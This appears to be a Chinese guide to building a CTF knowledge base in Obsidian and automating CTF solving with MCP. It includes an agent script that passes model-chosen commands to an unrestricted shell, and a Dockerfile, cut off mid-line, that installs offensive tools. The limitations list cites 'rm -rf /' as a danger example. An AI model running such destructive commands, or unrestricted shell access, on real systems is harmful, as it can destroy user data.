AI整理提问模板：\n我手动下载了一些CTF题目，文件很乱： 当前状态： - 附件散落在下载文件夹 - 题目描述复制在不同的txt文件 - 截图保存在各处 - 没有统一的命名规则 请帮我设计一个目录结构： 1. 如何分类（按方向/按比赛/按难度） 2. 文件命名规范 3. 用什么格式保存题目信息（建议Markdown） 4. 如何关联题目、附件、笔记、WP 最好给我一个批量重命名/整理的脚本 AI推荐的CTF知识库目录结构 标准目录树（Obsidian友好） 📁 CTF-Knowledge-Base/ # 根目录（Obsidian仓库） │ ├── 📁 00-Index/ # 索引目录 │ ├── 📄 README.md # 知识库使用说明 │ ├── 📄 比赛记录.md # 所有参加过的比赛列表 │ ├── 📄 题目索引-按分类.md # 按Web/Crypto/Reverse分类 │ ├── 📄 题目索引-按难度.md # 按简单/中等/困难分类 │ └── 📄 工具清单.md # 常用工具和安装方法 │ ├── 📁 01-Competitions/ # 比赛记录 │ ├── 📁 2024-XX杯/ │ │ ├── 📄 比赛总结.md # 比赛回顾、得分、反思 │ │ ├── 📁 Web/ │ │ │ ├── 📁 简单的SQL注入/ │ │ │ │ ├── 📄 README.md # 题目描述 │ │ │ │ ├── 📁 attachments/ # 附件 │ │ │ │ ├── 📁 screenshots/ # 截图 │ │ │ │ ├── 📁 exploits/ # 自己写的脚本 │ │ │ │ └── 📄 writeup.md # 详细WP │ │ │ └── ... │ │ ├── 📁 Crypto/ │ │ ├── 📁 Reverse/ │ │ └── 📁 AI-Conversations/ # AI对话记录（JSON或MD） │ └── 📁 2024-YY大赛/ │ └── ... │ ├── 📁 02-Practice/ # 平时练习题 │ ├── 📁 BUUCTF/ │ ├── 📁 攻防世界/ │ └── 📁 PicoCTF/ │ ├── 📁 03-Knowledge/ # 知识笔记 │ ├── 📁 Web/ │ │ ├── 📄 SQL注入原理.md │ │ ├── 📄 XSS绕过技巧合集.md │ │ └── 📄 PHP反序列化.md │ ├── 📁 Crypto/ │ │ ├── 📄 常见编码识别.md │ │ ├── 📄 RSA攻击方法.md │ │ └── 📄 古典密码大全.md │ ├── 📁 Reverse/ │ ├── 📁 Pwn/ │ └── 📁 Misc/ │ ├── 📁 04-Tools/ # 工具和脚本 │ ├── 📁 scripts/ # 自己写的工具脚本 │ │ ├── 📄 批量下载.py │ │ ├── 📄 编码转换.py │ │ └── 📄 Ghidra自动分析.py │ └── 📁 configs/ # 工具配置文件 │ ├── 📄 .gdbinit │ └── 📄 Burp配置.json │ ├── 📁 05-Resources/ # 学习资源 │ ├── 📄 推荐博客.md │ ├── 📄 视频教程.md │ └── 📄 书籍推荐.md │ └── 📁 06-Templates/ # 模板文件 ├── 📄 题目模板.md ├── 📄 WP模板.md └── 📄 比赛总结模板.md WriteUp笔记的标准格式 模板1：详细WP（供学习回顾） 1# [题目名称] 2 3## 元信息 4- **比赛**: XX杯 2024 5- **分类**: Web / Crypto / Reverse / Pwn / Misc 6- **分值**: 200 7- **难度**: ⭐⭐⭐ (1-5星) 8- **解题时间**: 45分钟 9- **是否一血**: ❌ 10- **解题人数**: 123/500 11 12## 题目描述 13 14【原始题目描述】 15 16 17## 附件信息 18- 文件1: `vuln.zip` (123KB) 19- 文件2: `source.php` (5KB) 20- 在线靶场: http://xxx.xxx.xxx:8080 21 22## 初步分析 23【第一眼看到题目时的思考】 24- 文件类型：【file命令结果】 25- 可疑点：【strings输出/代码片段】 26- 可能的方向：【猜测题目类型】 27 28## 解题过程 29 30### 思路1：【尝试的第一个方向】 31【详细描述】 32 33**遇到的问题：** 34- 【问题1】 35- 【问题2】 36 37**为什么失败：** 38【分析原因】 39 40### 思路2：【正确的解题方向】 41【详细步骤】 42 43#### Step 1: 【子步骤】 44 45**输出：** 46 47**分析：** 48【对输出的理解】 49 50#### Step 2: 【关键突破】 51 52**为什么这样写：** 53【解释原理】 54 55### AI辅助部分 56【如果用了AI，记录对话】 57 58**提问：** 59 60【给AI的问题】 61 62 63**AI回答：** 64 65 66**实际效果：** 67【AI建议是否有效】 68 69## 最终Exploit 70 71## Flag 72 73 74## 知识点总结 75 76### 核心技术 77- 【技术点1】：【原理】 78- 【技术点2】：【原理】 79 80### 新学到的东西 81- 【之前不会，这次学到的】 82 83### 踩过的坑 84- 【坑1】：【原因和解决方法】 85- 【坑2】：【原因和解决方法】 86 87### 相关题目 88- [[类似题目1]] （内部链接） 89- [[类似题目2]] 90 91## 参考资料 92- [相关博客](URL) 93- [官方WP](URL) 94 95## 后续TODO 96- [ ] 深入学习【某个不懂的知识点】 97- [ ] 尝试其他解法 98- [ ] 写一篇博客分享 99 100--- 101**创建时间**: 2024-01-05 14:30 102**最后修改**: 2024-01-05 18:20 103**标签**: #SQL注入 #WAF绕过 #Web安全 模板2：快速笔记（比赛中记录） 1# [题目名称] - 快速笔记 2 3## 基本信息 4- 分类: Web 5- 分值: 200 6- 开始时间: 14:30 7 8## 现状 9- [ ] 题目理解 10- [x] 基础分析 11- [ ] 找到漏洞 12- [ ] 编写Exploit 13- [ ] 拿到Flag 14 15## 当前思路 16【正在尝试的方法】 17 18## 卡点 19【遇到什么问题】 20 21## 待尝试 22- [ ] 方法1 23- [ ] 方法2 24 25## AI对话 26【粘贴关键对话】 27 28## 临时笔记 29【随手记录的信息】 ⚠️ 这是比赛中的临时笔记，赛后需要整理成完整WP\nObsidian使用技巧（AI推荐） 为什么选择Obsidian？ ✅ 纯Markdown，便于版本控制（Git） ✅ 双向链接，构建知识网络 ✅ 全局搜索，快速定位 ✅ 插件丰富（Dataview/Excalidraw/Kanban） ✅ 本地存储，隐私安全 ✅ 可以当知识库喂给本地AI（RAG） ❌ VSCode的问题： - 更适合项目代码，不适合长期笔记 - 搜索功能不如专业笔记软件 - 没有双向链接和知识图谱 核心功能配置（AI辅助） 问AI生成Obsidian配置：\n我要用Obsidian管理CTF笔记： 需求： 1. 快速创建题目笔记（用模板） 2. 通过标签快速筛选（#SQL注入 #ROP等） 3. 全局搜索关键词（比如\u0026#34;TEA算法\u0026#34;） 4. 可视化知识图谱（看题目之间的关联） 5. 支持代码高亮 请推荐： 1. 必装的插件（名称+功能） 2. 如何设置模板 3. 标签体系设计（不要太复杂） 4. 搜索技巧（正则/高级语法） 推荐的插件清单：\n必装： - Templater: 自动化模板插入 - Dataview: 自动生成题目索引表 - Advanced Tables: 编辑表格 - Excalidraw: 画图（画内存布局/ROP链） 可选： - Kanban: 管理学习进度 - Calendar: 查看每天刷题记录 - Mind Map: 知识点思维导图 知识库的高级玩法：喂给AI 场景：笔记足够多后（50+题目） 本地RAG（检索增强生成）：\n工具链： 1. Obsidian笔记 → Markdown文件 2. LangChain / LlamaIndex → 向量化 3. 本地大模型（Ollama） → 推理 实现效果： \u0026#34;我：这道题好像见过类似的\u0026#34; \u0026#34;AI（基于你的笔记库）：是的，你在XX杯做过类似题， 当时的思路是【从你的WP中提取】， 工具用的是【从你的笔记提取】\u0026#34; 配置教程： 问AI：\u0026#34;如何用LangChain + Ollama搭建本地知识库问答系统？ 我的笔记在Obsidian中，格式是Markdown\u0026#34; 比赛中的实战用法 全局搜索快速定位：\n场景1：遇到TEA加密 Obsidian搜索: \u0026#34;TEA\u0026#34; 或 \u0026#34;#TEA加密\u0026#34; 立刻找到之前做过的题 + 解题脚本 场景2：忘记pwntools语法 搜索: \u0026#34;pwntools\u0026#34; + \u0026#34;ROP\u0026#34; 找到之前写过的Exploit模板 场景3：想不起某个工具命令 搜索: \u0026#34;StegSolve\u0026#34; 或 \u0026#34;Volatility\u0026#34; 找到之前整理的工具笔记 整理笔记的时间规划 比赛中（实时整理） ✅ 简单题做完立刻记： - 花5分钟写快速笔记 - 记录关键命令/脚本 - 保存AI对话记录 ✅ 卡住的时候整理： - 把\u0026#34;坐牢时间\u0026#34;变成整理时间 - 下载题目附件 - 复制题目描述 - 截图保存界面 ❌ 不要边做题边写详细WP - 影响比赛节奏 - 简单记录即可 赛后（深度整理） ⏰ 比赛结束后24小时内（记忆最清晰）： 1. 整理已解出的题（1-2小时） - 把快速笔记扩展成完整WP - 补充思路和知识点 - 整理代码和脚本 2. 复盘未解出的题（2-3小时） - 看别人的WP - 跟着AI重新做一遍 - 记录\u0026#34;为什么当时没想到\u0026#34; 3. 知识点提炼（30分钟） - 把新学的知识整理成专题笔记 - 更新工具清单 - 更新索引文件 总结：从\u0026quot;坐牢\u0026quot;到\u0026quot;积累\u0026quot; 心态转变 ❌ 消极：\u0026#34;题目太难了，坐牢中，好无聊\u0026#34; ✅ 积极：\u0026#34;反正做不出来，整理笔记也是进步\u0026#34; 长期价值： - 第1次比赛：笔记10道题 - 第3次比赛：笔记50道题 → 开始能搜到相似题 - 第10次比赛：笔记200道题 → 知识库初具规模 - 1年后：笔记500+道题 → 你的外置大脑 实战清单 比赛中期（题目做完了/卡住了）： ✅ 打开下载脚本，批量保存题目 ✅ 手动下载没做的题的附件 ✅ 复制所有题目描述 ✅ 截图保存在线靶场界面 ✅ 导出AI对话记录 ✅ 写简单的快速笔记 赛后24小时内： ✅ 扩展快速笔记为完整WP ✅ 看官方WP，补充未解出的题 ✅ 提炼知识点，更新专题笔记 ✅ 运行索引生成脚本 ✅ 把新学的工具加入清单 每月一次： ✅ 回顾本月所有比赛 ✅ 总结高频考点 ✅ 更新知识图谱 ✅ 清理重复/过时的笔记 小贴士：\n批量下载脚本用AI写，5分钟搞定，别自己从零开始 Obsidian的搜索功能是神器，善用 tag:#XXX 和正则 笔记不求完美，能帮自己快速回忆就够了 知识库是长期工程，不要指望一个月就见效 比赛结束不是终点，整理笔记才是开始 五、进阶展望：MCP平台简介 MCP是什么？为什么值得关注 Model Context Protocol基本概念 MCP（Model Context Protocol）是什么？ 简单理解： ❌ 不是：一个新的AI模型 ❌ 不是：一个聊天软件 ✅ 是：一个让AI能\u0026#34;动手干活\u0026#34;的协议标准 类比： - 普通AI对话 = 你问AI，AI用嘴回答 - MCP = 你问AI，AI不仅回答，还能动手操作 （读文件、运行代码、调用工具、访问数据库...） 官方定义： MCP是Anthropic开发的开放协议，允许AI助手 安全地连接到本地和远程的数据源和工具。 与普通AI对话的区别 对比表：\n维度 普通AI对话 MCP模式 交互方式 你问 → AI答 你问 → AI调用工具 → 返回结果 AI能力 只能生成文本/代码 能执行代码、读写文件、调用API 数据访问 仅限对话内容 可访问本地文件、数据库、API 工具使用 AI告诉你怎么用工具 AI直接帮你用工具 自动化 需要人工复制粘贴 全程自动化 实际例子：\n场景：CTF逆向题分析 【普通AI对话】 你：这个二进制文件是什么？ AI：你可以用file命令查看，然后用strings提取字符串... 你：（手动执行命令）file crackme 你：（复制输出）ELF 64-bit... AI：看起来是Linux程序，你可以用IDA打开... 你：（手动操作IDA，又回来问AI） 【MCP模式】 你：这个二进制文件是什么？分析一下 AI：（自动执行）file crackme AI：（自动执行）strings crackme | grep flag AI：（自动执行）objdump -d crackme AI：（综合分析后直接告诉你结果和解题思路） 省去了所有\u0026#34;复制-粘贴-切换窗口\u0026#34;的步骤！ 在CTF中的潜在应用 🎯 自动化解题流程： 1. AI自动下载题目附件 2. AI自动识别文件类型 3. AI自动调用分析工具（binwalk/strings/Wireshark） 4. AI自动编写和运行解题脚本 5. AI自动提交flag并记录 🎯 多工具协同： - 连接本地工具链（IDA/GDB/Burp/Wireshark） - 访问本地笔记库（Obsidian RAG） - 调用在线API（VirusTotal/Shodan） 🎯 知识库增强： - 读取本地WP笔记 - 搜索历史题目 - 自动关联相似题型 - 动态更新知识库 🎯 完全自动化比赛（黑客松场景）： - AI从头到尾解题，人类不干预 - 适用于纯AI比赛（如腾讯黑客松） MCP的能力边界 可以做什么（已经实现） ✅ 文件系统操作： - 读写本地文件 - 遍历目录 - 执行shell命令 ✅ 代码执行： - 运行Python/JavaScript脚本 - 调用系统工具 - 管理进程 ✅ 数据库访问： - 查询SQLite/PostgreSQL - 读取笔记库（Obsidian） - 向量数据库（RAG） ✅ API集成： - GitHub操作（提交代码） - Slack通知 - Google Drive文件 - 自定义REST API ✅ 浏览器控制（实验性）： - Puppeteer操控 - 爬取网页 - 自动填表 ✅ Docker管理： - 启动/停止容器 - 执行容器内命令 - 管理镜像 目前的局限（需注意） ❌ 安全风险： - AI可能执行危险命令（rm -rf /） - 需要严格的权限控制 - 建议在虚拟机/容器中运行 ❌ 稳定性问题： - MCP协议还在快速迭代 - 部分工具兼容性不完善 - 可能出现意外错误 ❌ 成本考量： - 需要AI API调用（Claude/GPT） - 大量工具调用会产生较高费用 - 本地模型（Ollama）能力较弱 ❌ 复杂度高： - 配置学习曲线陡峭 - 需要理解JSON-RPC协议 - 调试困难 ❌ 并非万能： - 复杂的人类直觉判断还是需要人工 - 新型/非常规题型AI可能搞不定 - 某些GUI操作不如人类灵活 学习路线图 前置知识要求 必备技能（缺一不可）： ✅ Linux基础命令（cd/ls/chmod/curl等） ✅ Python编程（能看懂和修改脚本） ✅ JSON格式理解 ✅ Docker基础（build/run/exec） ✅ API调用概念（REST/HTTP） ✅ 环境变量配置（export/PATH） 加分项（有更好）： ✅ Node.js/TypeScript（部分MCP服务器用） ✅ 系统架构理解（客户端-服务器模型） ✅ Claude API使用经验 ✅ VS Code扩展开发 时间投入估算： - 零基础 → 能用：40-60小时 - 有基础 → 能用：10-20小时 - 能用 → 精通：50-100小时 推荐学习资源 官方资源（必读）：\n📘 MCP官方文档： https://modelcontextprotocol.io/introduction 📘 官方GitHub： https://github.com/modelcontextprotocol 📘 快速开始指南： https://modelcontextprotocol.io/quickstart 📘 已有的MCP服务器列表： https://github.com/modelcontextprotocol/servers 📘 Claude.ai官网（内置工具，网页对话就能用）： https://claude.ai 📘 Anthropic开发者文档： https://docs.anthropic.com 社区资源（推荐）：\n🌐 Discord社区： https://discord.gg/modelcontextprotocol 🌐 Reddit讨论： r/ClaudeAI（搜索MCP相关帖子） 📺 YouTube教程： 搜索 \u0026#34;MCP Claude tutorial\u0026#34; / \u0026#34;Model Context Protocol\u0026#34; 📝 博客文章： - Anthropic官方博客 - Simon Willison\u0026#39;s博客（MCP深度分析） 中文资源（如果有）：\n问AI： \u0026#34;请帮我找MCP（Model Context Protocol）的中文学习资源： - 中文教程 - B站视频 - 知乎/CSDN文章 - 微信公众号推荐\u0026#34; 7天速成计划（理想情况） Day 1：概念理解 - 阅读官方文档Introduction - 理解MCP架构（客户端-服务器-AI） - 看一个完整的Demo视频 Day 2：环境搭建 - 安装Claude Desktop / Cursor - 配置第一个MCP服务器（文件系统） - 测试基本交互 Day 3：实战练习 - 使用MCP读取本地文件 - 让AI执行简单命令 - 理解配置文件结构 Day 4：工具集成 - 配置GitHub MCP服务器 - 配置Puppeteer（浏览器控制） - 理解多服务器协同 Day 5：CTF场景应用 - 配置CTF相关工具（binwalk/strings） - 让AI自动分析题目附件 - 测试解题自动化 Day 6：安全加固 - 在虚拟机/Docker中运行 - 配置权限限制 - 测试危险命令拦截 Day 7：综合实战 - 搭建完整的自动化解题环境 - 用真实CTF题目测试 - 优化工作流 ⚠️ 现实情况： 这个计划很理想，实际可能需要2-3周 中间会遇到各种Bug和配置问题 建议边学边问AI，不要死磕 为什么本指南不详细展开 ❌ 24小时内无法掌握MCP的原因： 1. 配置复杂度高 - 需要安装多个组件 - 配置文件语法严格 - 调试困难，报错不友好 2. 前置知识要求高 - Docker/API/JSON等概念 - 需要理解系统架构 - 不是\u0026#34;复制粘贴\u0026#34;就能用 3. 稳定性和兼容性问题 - 协议还在快速迭代 - 不同平台配置差异大 - 可能遇到各种奇怪Bug 4. 性价比考量 - 对于新手，普通AI对话已经够用 - MCP的优势在自动化，新手先学基础 - 投入时间 vs 比赛收益不成正比 5. 安全风险 - AI执行命令可能误删文件 - 需要在隔离环境测试 - 新手容易配错权限 ✅ 本指南的定位： - 让你知道MCP存在 - 理解它能做什么 - 给出学习方向 - 但不期望24小时内掌握 ✅ 推荐学习时机： - 完成3-5场CTF比赛后 - 熟练使用普通AI辅助解题 - 有明确的自动化需求 - 有时间深入学习（至少1周） MCP基础配置指南 环境选择：Claude Desktop vs Cursor vs Claude CLI 方案对比： 【Claude Desktop】（最简单） - 官方应用，配置最友好 - 图形界面，适合新手 - 支持的MCP服务器最多 - 下载：https://claude.ai/download 【Cursor】（编程友好） - IDE环境，适合写代码 - 内置Claude，支持MCP - 适合CTF脚本开发 - 下载：https://cursor.com 【Claude CLI】（终端高手） - 命令行工具，极客最爱 - 适合自动化脚本 - 配置最灵活 - 需要配置API Key 纯AI自动化比赛场景（如腾讯黑客松） 什么是\u0026quot;纯AI比赛\u0026quot;？ 规则特点： ❌ 不允许人工干预 ✅ AI从头到尾自主解题 ✅ AI自己下载题目 ✅ AI自己分析附件 ✅ AI自己编写脚本 ✅ AI自己提交flag 代表赛事： - 腾讯黑客松（AI赛道） - 各类\u0026#34;AI CTF\u0026#34;比赛 - 未来可能成为主流形式 技术架构： AI Agent + MCP + 工具链 + 自动化脚本 完整自动化工作流设计 架构图：\n┌─────────────────────────────────────────┐ │ Claude API / GPT-4 API / 本地模型 │ │ （大脑：决策和规划） │ └──────────────┬──────────────────────────┘ │ ▼ ┌─────────────────────────────────────────┐ │ MCP Hub（协调中心） │ │ - 接收AI指令 │ │ - 调度工具执行 │ │ - 汇总结果返回 │ └──────────────┬──────────────────────────┘ │ ┌──────────┴───────────┬──────────┐ ▼ ▼ ▼ ┌────────┐ ┌────────────┐ ┌──────┐ │题目下载 │ │ 分析工具 │ │提交 │ │ MCP │ │ 集合 │ │ MCP │ └────────┘ └────────────┘ └──────┘ │ ┌─────────────────┼─────────────────┐ ▼ ▼ ▼ ┌──────┐ ┌──────┐ ┌──────┐ │binwalk│ │Ghidra│ │pwntools│ └──────┘ └──────┘ └──────┘ 完整自动化脚本示例：\n1#!/usr/bin/env python3 2\u0026#34;\u0026#34;\u0026#34; 3CTF全自动解题Agent 4适用于纯AI比赛（如腾讯黑客松） 5\u0026#34;\u0026#34;\u0026#34; 6 7import anthropic 8import os 9import json 10import subprocess 11from pathlib import Path 12 13class CTFAutoAgent: 14 def __init__(self, api_key, competition_url, workspace=\u0026#34;/tmp/ctf_auto\u0026#34;): 15 \u0026#34;\u0026#34;\u0026#34; 16 初始化自动化Agent 17 18 Args: 19 api_key: Claude API密钥 20 competition_url: 比赛平台URL 21 workspace: 工作目录 22 \u0026#34;\u0026#34;\u0026#34; 23 self.client = anthropic.Anthropic(api_key=api_key) 24 self.competition_url = competition_url 25 self.workspace = Path(workspace) 26 self.workspace.mkdir(exist_ok=True) 27 28 # MCP工具配置 29 self.tools = self._setup_tools() 30 31 def _setup_tools(self): 32 \u0026#34;\u0026#34;\u0026#34;配置MCP工具集\u0026#34;\u0026#34;\u0026#34; 33 return [ 34 { 35 \u0026#34;name\u0026#34;: \u0026#34;bash\u0026#34;, 36 \u0026#34;description\u0026#34;: \u0026#34;执行bash命令，返回输出\u0026#34;, 37 \u0026#34;input_schema\u0026#34;: { 38 \u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, 39 \u0026#34;properties\u0026#34;: { 40 \u0026#34;command\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;要执行的命令\u0026#34;} 41 }, 42 \u0026#34;required\u0026#34;: [\u0026#34;command\u0026#34;] 43 } 44 }, 45 { 46 \u0026#34;name\u0026#34;: \u0026#34;read_file\u0026#34;, 47 \u0026#34;description\u0026#34;: \u0026#34;读取文件内容\u0026#34;, 48 \u0026#34;input_schema\u0026#34;: { 49 \u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, 50 \u0026#34;properties\u0026#34;: { 51 \u0026#34;path\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;文件路径\u0026#34;} 52 }, 53 \u0026#34;required\u0026#34;: [\u0026#34;path\u0026#34;] 54 } 55 }, 56 { 57 \u0026#34;name\u0026#34;: \u0026#34;write_file\u0026#34;, 58 \u0026#34;description\u0026#34;: \u0026#34;写入文件\u0026#34;, 59 \u0026#34;input_schema\u0026#34;: { 60 \u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, 61 \u0026#34;properties\u0026#34;: { 62 \u0026#34;path\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;}, 63 \u0026#34;content\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;} 64 }, 65 \u0026#34;required\u0026#34;: [\u0026#34;path\u0026#34;, \u0026#34;content\u0026#34;] 66 } 67 }, 68 { 69 \u0026#34;name\u0026#34;: \u0026#34;submit_flag\u0026#34;, 70 \u0026#34;description\u0026#34;: \u0026#34;提交flag到比赛平台\u0026#34;, 71 \u0026#34;input_schema\u0026#34;: { 72 \u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, 73 \u0026#34;properties\u0026#34;: { 74 \u0026#34;challenge_id\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;}, 75 \u0026#34;flag\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;} 76 }, 77 \u0026#34;required\u0026#34;: [\u0026#34;challenge_id\u0026#34;, \u0026#34;flag\u0026#34;] 78 } 79 } 80 ] 81 82 def execute_tool(self, tool_name, tool_input): 83 \u0026#34;\u0026#34;\u0026#34;执行工具调用\u0026#34;\u0026#34;\u0026#34; 84 if tool_name == \u0026#34;bash\u0026#34;: 85 result = subprocess.run( 86 tool_input[\u0026#34;command\u0026#34;], 87 shell=True, 88 capture_output=True, 89 text=True, 90 cwd=self.workspace, 91 timeout=300 # 5分钟超时 92 ) 93 return { 94 \u0026#34;stdout\u0026#34;: result.stdout, 95 \u0026#34;stderr\u0026#34;: result.stderr, 96 \u0026#34;returncode\u0026#34;: result.returncode 97 } 98 99 elif tool_name == \u0026#34;read_file\u0026#34;: 100 path = self.workspace / tool_input[\u0026#34;path\u0026#34;] 101 with open(path, \u0026#39;r\u0026#39;) as f: 102 return {\u0026#34;content\u0026#34;: f.read()} 103 104 elif tool_name == \u0026#34;write_file\u0026#34;: 105 path = self.workspace / tool_input[\u0026#34;path\u0026#34;] 106 path.parent.mkdir(parents=True, exist_ok=True) 107 with open(path, \u0026#39;w\u0026#39;) as f: 108 f.write(tool_input[\u0026#34;content\u0026#34;]) 109 return {\u0026#34;success\u0026#34;: True} 110 111 elif tool_name == \u0026#34;submit_flag\u0026#34;: 112 # 调用比赛平台API提交 113 return self._submit_to_platform( 114 tool_input[\u0026#34;challenge_id\u0026#34;], 115 tool_input[\u0026#34;flag\u0026#34;] 116 ) 117 118 def solve_challenge(self, challenge_info): 119 \u0026#34;\u0026#34;\u0026#34; 120 完全自动化解题流程 121 122 Args: 123 challenge_info: 题目信息（名称、分类、描述、附件URL等） 124 \u0026#34;\u0026#34;\u0026#34; 125 print(f\u0026#34;[*] 开始解题: {challenge_info[\u0026#39;name\u0026#39;]}\u0026#34;) 126 127 # 初始提示词 128 initial_prompt = f\u0026#34;\u0026#34;\u0026#34; 129你是一个CTF自动化解题Agent。现在需要解决以下题目： 130 131题目名称：{challenge_info[\u0026#39;name\u0026#39;]} 132分类：{challenge_info[\u0026#39;category\u0026#39;]} 133描述：{challenge_info[\u0026#39;description\u0026#39;]} 134附件：{challenge_info.get(\u0026#39;files\u0026#39;, [])} 135 136你的任务： 1371. 下载并分析附件 1382. 识别题目类型和漏洞 1393. 编写解题脚本 1404. 获取flag并提交 141 142你可以使用以下工具： 143- bash: 执行任何命令（binwalk/strings/file等） 144- read_file: 读取文件 145- write_file: 创建脚本 146- submit_flag: 提交答案 147 148工作目录：{self.workspace} 149 150请开始解题，一步步思考并使用工具。 151\u0026#34;\u0026#34;\u0026#34; 152 153 messages = [{\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: initial_prompt}] 154 155 # 迭代对话，直到提交flag或达到最大轮次 156 max_turns = 20 157 for turn in range(max_turns): 158 print(f\u0026#34;\\n[Turn {turn+1}/{max_turns}]\u0026#34;) 159 160 # 调用Claude 161 response = self.client.messages.create( 162 model=\u0026#34;claude-sonnet-4-20250514\u0026#34;, 163 max_tokens=4096, 164 tools=self.tools, 165 messages=messages 166 ) 167 168 # 处理响应 169 if response.stop_reason == \u0026#34;end_turn\u0026#34;: 170 print(\u0026#34;[!] AI认为任务完成\u0026#34;) 171 break 172 173 elif response.stop_reason == \u0026#34;tool_use\u0026#34;: 174 # AI要求使用工具 175 for content in response.content: 176 if content.type == \u0026#34;tool_use\u0026#34;: 177 tool_name = content.name 178 tool_input = content.input 179 180 print(f\u0026#34;[Tool] {tool_name}: {tool_input}\u0026#34;) 181 182 # 执行工具 183 try: 184 tool_result = self.execute_tool(tool_name, tool_input) 185 print(f\u0026#34;[Result] {tool_result}\u0026#34;) 186 187 # 将结果返回给AI 188 messages.append({\u0026#34;role\u0026#34;: \u0026#34;assistant\u0026#34;, \u0026#34;content\u0026#34;: response.content}) 189 messages.append({ 190 \u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, 191 \u0026#34;content\u0026#34;: [{ 192 \u0026#34;type\u0026#34;: \u0026#34;tool_result\u0026#34;, 193 \u0026#34;tool_use_id\u0026#34;: content.id, 194 \u0026#34;content\u0026#34;: json.dumps(tool_result) 195 }] 196 }) 197 198 # 检查是否提交了flag 199 if tool_name == \u0026#34;submit_flag\u0026#34;: 200 if tool_result.get(\u0026#34;correct\u0026#34;): 201 print(f\u0026#34;[✓] Flag正确！\u0026#34;) 202 return True 203 else: 204 print(f\u0026#34;[✗] Flag错误，继续尝试\u0026#34;) 205 206 except Exception as e: 207 print(f\u0026#34;[Error] 工具执行失败: {e}\u0026#34;) 208 messages.append({ 209 \u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, 210 \u0026#34;content\u0026#34;: f\u0026#34;工具执行出错：{str(e)}，请重新尝试\u0026#34; 211 }) 212 213 else: 214 print(f\u0026#34;[!] 意外的stop_reason: {response.stop_reason}\u0026#34;) 215 break 216 217 print(f\u0026#34;[!] 达到最大轮次，未能解出\u0026#34;) 218 return False 219 220 def _submit_to_platform(self, challenge_id, flag): 221 \u0026#34;\u0026#34;\u0026#34;提交flag到比赛平台（需根据实际平台实现）\u0026#34;\u0026#34;\u0026#34; 222 # 示例：调用平台API 223 import requests 224 response = requests.post( 225 f\u0026#34;{self.competition_url}/api/submit\u0026#34;, 226 json={\u0026#34;challenge_id\u0026#34;: challenge_id, \u0026#34;flag\u0026#34;: flag}, 227 headers={\u0026#34;Authorization\u0026#34;: f\u0026#34;Bearer {os.getenv(\u0026#39;CTF_TOKEN\u0026#39;)}\u0026#34;} 228 ) 229 return response.json() 230 231def main(): 232 # 配置 233 API_KEY = os.getenv(\u0026#34;ANTHROPIC_API_KEY\u0026#34;) 234 COMPETITION_URL = \u0026#34;https://ctf.example.com\u0026#34; 235 236 # 初始化Agent 237 agent = CTFAutoAgent(API_KEY, COMPETITION_URL) 238 239 # 获取题目列表（从平台API） 240 challenges = fetch_challenges(COMPETITION_URL) 241 242 # 逐个解题 243 for challenge in challenges: 244 try: 245 success = agent.solve_challenge(challenge) 246 if success: 247 print(f\u0026#34;[+] {challenge[\u0026#39;name\u0026#39;]} 解决成功！\u0026#34;) 248 except Exception as e: 249 print(f\u0026#34;[!] {challenge[\u0026#39;name\u0026#39;]} 失败: {e}\u0026#34;) 250 251if __name__ == \u0026#39;__main__\u0026#39;: 252 main() Docker镜像打包：一键部署解题环境 为什么要用Docker？ 优势： ✅ 隔离环境，防止AI误删本地文件 ✅ 快速部署，比赛虚拟机上直接docker run ✅ 一致性，本地测试和比赛环境相同 ✅ 版本控制，Dockerfile即文档 使用场景： 1. 腾讯黑客松提供的虚拟机 2. 比赛平台的沙箱环境 3. 本地笔记本虚拟机测试 完整Dockerfile 1# CTF自动化解题环境 2# 基于Kali Linux（自带CTF工具） 3 4FROM kalilinux/kali-rolling:latest 5 6LABEL maintainer=\u0026#34;your-email@example.com\u0026#34; 7LABEL description=\u0026#34;CTF Auto-Solving Environment with MCP\u0026#34; 8 9# 设置时区 10ENV TZ=Asia/Shanghai 11RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime \u0026amp;\u0026amp; echo $TZ \u0026gt; /etc/timezone 12 13# 更新系统并安装基础工具 14RUN apt-get update \u0026amp;\u0026amp; apt-get install -y \\ 15 # 基础工具 16 curl wget git vim nano \\ 17 build-essential \\ 18 # Python环境 19 python3 python3-pip python3-venv \\ 20 # Node.js（MCP需要） 21 nodejs npm \\ 22 # CTF工具 23 binwalk foremost steghide stegsolve \\ 24 john hashcat hydra \\ 25 nmap masscan \\ 26 wireshark tshark \\ 27 sqlmap \\ 28 metasploit-framework \\ 29 # 逆向工具 30 gdb gdb-multiarch \\ 31 radare2 \\ 32 # Pwn工具 33 patchelf \\ 34 \u0026amp;\u0026amp; apt-get clean 35 36# 安装pwntools 37RUN pip3 install --break-system-packages \\ 38 pwntools \\ 39 requests \\ 40 pycryptodome \\ 41 z3-solver \\ 42 angr \\ 43 anthropic 44 45# 安装GDB增强插件 46RUN git clone https://github.com/pwndbg/pwndbg /opt/pwndbg \u0026amp;\u0026amp; \\ 47 cd /opt/pwndbg \u0026amp;\u0026amp; ./setup.sh 48 49# 安装Claude CLI（如果有官方版本） 50# RUN npm install -g @anthropic-ai/claude-cli 51 52# 安装MCP服务器 53RUN npm install -g \\ 54 @modelcontextprotocol/server-filesystem \\ 55 @modelcontextprotocol/server-github \\ 56 @modelcontextprotocol/server-puppeteer 57 58# 创建工作目录 59WORKDIR /ctf 60 61# 复制自动化脚本 62COPY auto_agent.py /ctf/ 63COPY mcp_config.json /root/.config/claude/ 64 65# 设置环境变量（运行时需要提供） 66ENV ANTHROPIC_API_KEY=\u0026#34;\u0026#34; 67ENV 